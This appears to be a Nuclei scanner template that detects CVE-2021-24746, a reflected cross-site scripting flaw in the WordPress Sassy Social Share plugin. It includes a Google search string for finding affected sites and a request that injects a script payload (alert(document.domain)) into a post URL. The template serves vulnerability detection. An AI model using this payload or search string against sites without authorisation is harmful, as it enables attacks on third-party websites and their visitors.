id: CVE-2021-24746 info: name: WordPress Sassy Social Share Plugin <3.3.40 - Cross-Site Scripting author: Supras severity: medium description: WordPress plugin Sassy Social Share < 3.3.40 contains a reflected cross-site scripting vulnerability. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement. remediation: | Update the WordPress Sassy Social Share Plugin to version 3.3.40 or later to mitigate the vulnerability. reference: - https://wpscan.com/vulnerability/99f4fb32-e312-4059-adaf-f4cbaa92d4fa - https://nvd.nist.gov/vuln/detail/CVE-2021-24746 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-24746 cwe-id: CWE-79 epss-score: 0.00106 epss-percentile: 0.42757 cpe: cpe:2.3:a:heateor:sassy_social_share:*:*:*:*:*:wordpress:*:* metadata: max-request: 2 vendor: heateor product: sassy_social_share framework: wordpress google-query: inurl:"/wp-content/plugins/sassy-social-share" tags: cve,cve2021,wordpress,wp-plugin,xss,wp,wpscan,heateor http: - method: GET path: - "{{BaseURL}}/wp-json/wp/v2/posts" - "{{BaseURL}}/{{slug}}/?a"><script>alert(document.domain)</script>" host-redirects: true max-redirects: 2 matchers-condition: and matchers: - type: word part: body words: - '?a">' - type: word part: header words: - text/html - type: status status: - 200 extractors: - type: regex name: slug group: 1 regex: - '"slug":"([_a-z-A-Z0-9]+)",' internal: true part: body # digest: 4a0a00473045022068e81841b1d67cf49af45fd41356db286199ed198cc9d62da154d6f0c1ab1e25022100f2936095e3913e6a2ab9c3da20495d2079b253d3be03afc113f693a73d224f80:922c64590222798bb761d5b6d8e72950